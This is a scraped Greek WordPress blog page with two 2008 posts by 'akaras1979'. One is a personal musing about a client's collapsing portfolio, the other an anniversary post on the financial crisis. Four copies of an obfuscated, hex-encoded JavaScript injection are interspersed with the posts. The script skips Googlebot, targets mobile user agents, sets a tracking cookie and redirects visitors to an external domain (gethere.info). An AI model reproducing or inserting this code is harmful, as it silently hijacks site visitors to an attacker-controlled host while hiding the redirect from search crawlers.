              Τις επόμενες μέρες το χαρτοφυλάκιο της κυρίας Τζέλας κατρακύλησε στη μισή του αξία. Τα χρηματιστήρια πέφτουν και στο γραφείο το θερμόμετρο ανεβαίνει. Οι εφιάλτες  του 2000 ξαναπερνάνε το «γουέλκαμ» πατάκι μας. Δεν μπορούμε να κάνουμε τίποτε άλλο παρά να περιμένουμε.

              Μέσα στον πανικό των ημερών έψησα πελάτη μας να πουλήσει «ΔΟΛ» για να τον ξαναγοράσει φτηνότερα και το χαρτί έφυγε σφαίρα προς τα πάνω. ( … και κανείς δεν ξέρει που θα φθάσει )

              Σκέφτομαι πως είμαι 29 και πλησιάζω με φόρα τα  30. Οι αγορές θα είναι πάντα ελκυστικές και απογοητευτικές μαζί. Το κυνήγι του χρήματος θα παραμείνει η τοπ απασχόληση παγκοσμίως.  Δεν με νοιάζει το χαρτοφυλάκιο της κυρίας Τζέλας . Φαντασιώνομαι το κορμί της και με φτιάχνει η πιθανότητα να βιώσω κάτι ξεχωριστό μαζί της. Κατά τα άλλα μάλλον είμαι καταδικασμένος να μη ξεφύγω από το ρόλο του κυνηγού , ακόμα και μετά από 20 και 30 χρόνια θα … θα ψάχνω το «θήραμα» .

           Δηλαδή για να πω την αλήθεια πάντα ζούμε με την ελπίδα ότι κάπου υπάρχει μια γυναίκα που θα σε γεμίζει και μπορεί , τότε , ίσως , χού νόουζ ? …να γίνω το θήραμά της χωρίς καν  να το υποπτευθώ.

          

                                                                                                    ( 29 . 02 . 2008)      

                                                                     

                                                                                                        akaras1979

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Απρίλιος 15, 2008

Σαν γενέθλια.

Filed under: Uncategorized — thelastrealanwnymous @ 1 :45 μμ

Πέρασε ένας χρόνος για το μπλογκ μου και οι υποχρεώσεις και τα άγχη του γραφείου με έκαναν να χάσω επαφή για λίγο καιρό.

Το τελευταίο μου πόστ μιλούσε για μια παλιότερη καταστροφή που τη βιώσαμε με πολύ άσχημο τρόπο.

Σήμερα τα πράγματα είναι πολύ δραματικά για όλα τα χρηματιστήρια γενικώς , γιατί η κομπίνα στήθηκε πάνω στην αγορά ακινήτων που θεωρείται η πιο ασφαλής αγορά γα επενδύσεις. Δηλαδή ή καταστροφή του 2000 ήταν δικαιολογημένη γιατί οι άνθρωποι επένδυσαν στον εικονικό κόσμο του ίντερνετ . Να όμως που τα σύγχρονα τραπεζικά προϊόντα μπορούν να κάνουν ακόμα και τα ακίνητα «εικονικά».

Όπως σας ξαναείπα την πάτησαν περισσότερο οι κρατικές τράπεζες ανά τον κόσμο γιατί οι δημόσιοι υπάλληλοι είναι παντού ίδιοι. Προσπαθώντας να αποδείξουν ότι δεν είναι αργόσχολοι αγόρασαν «μοντέρνα» αμερικάνικα τραπεζικά προϊόντα και έβαλαν σε μπελάδες τραπεζικούς οίκους που κέρδιζαν χρήμα με συντηρητικές μεθόδους και δεν υπήρχε λόγος να αναλάβουν τέτοιο ρίσκο.

Μια άλλη παράμετρος που αφορά την κρίση του 2000 είναι οι μεταφερόμενες ζημιές. Δηλαδή κάθεσαι κάπου σε ένα καφέ δυο τρία χρόνια μετά και μιλάς για την κρίση , κάνεις πνεύμα στους άλλους γύρω σου , γιατί εσένα σε ακούμπησε  ξώφαλτσα και δεν ξέρεις ότι ένας πελάτης σου άντεχε τόσο καιρό τις υποχρεώσεις του και τώρα δεν μπορεί να βρει άλλο ρευστό οπότε ρίχνει κανόνι και συ βρίσκεσαι με μια επιταγή του στα χέρια σου ( … που δεν θα την πληρωθείς ποτέ )

Σήμερα  λοιπόν και  περισσότερο από κάθε άλλη φορά η οικονομίες των κρατών είναι συγκοινωνούντα δοχεία και οι ζημιές κάποιων φθάνουν και στη πόρτα μας.

Μόνη ελπίδα σήμερα είναι , ότι περισσότερο από κάθε άλλη φορά υπάρχει πολύ χρήμα και μάλιστα ιδιωτικό έτοιμο να επενδυθεί και να μειώσει το άγχος της ρευστότητας. Ακόμα περισσότερο μάλιστα υπάρχει τρομερή δίψα για τζόγο και υπερκέδρη , που αρκεί να έχεις «φαντεζί» επενδυτικές ιδέες και να είσαστε σίγουροι πως πάντα θα υπάρχει  ένας «τρελός» που θα επενδύσει στο δικό σου άλογο.

 

akaras1979@…………….

 

…μη ξεχάσω

να ευχαριστήσω όλους εσάς τους διαδικτυακούς φίλους που καθημερινά μπαίνατε στο μπλογκ μου περιμένοντας σημεία ζωής περισσότερο , παρά το επόμενο πόστ.    

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog στο WordPress.com.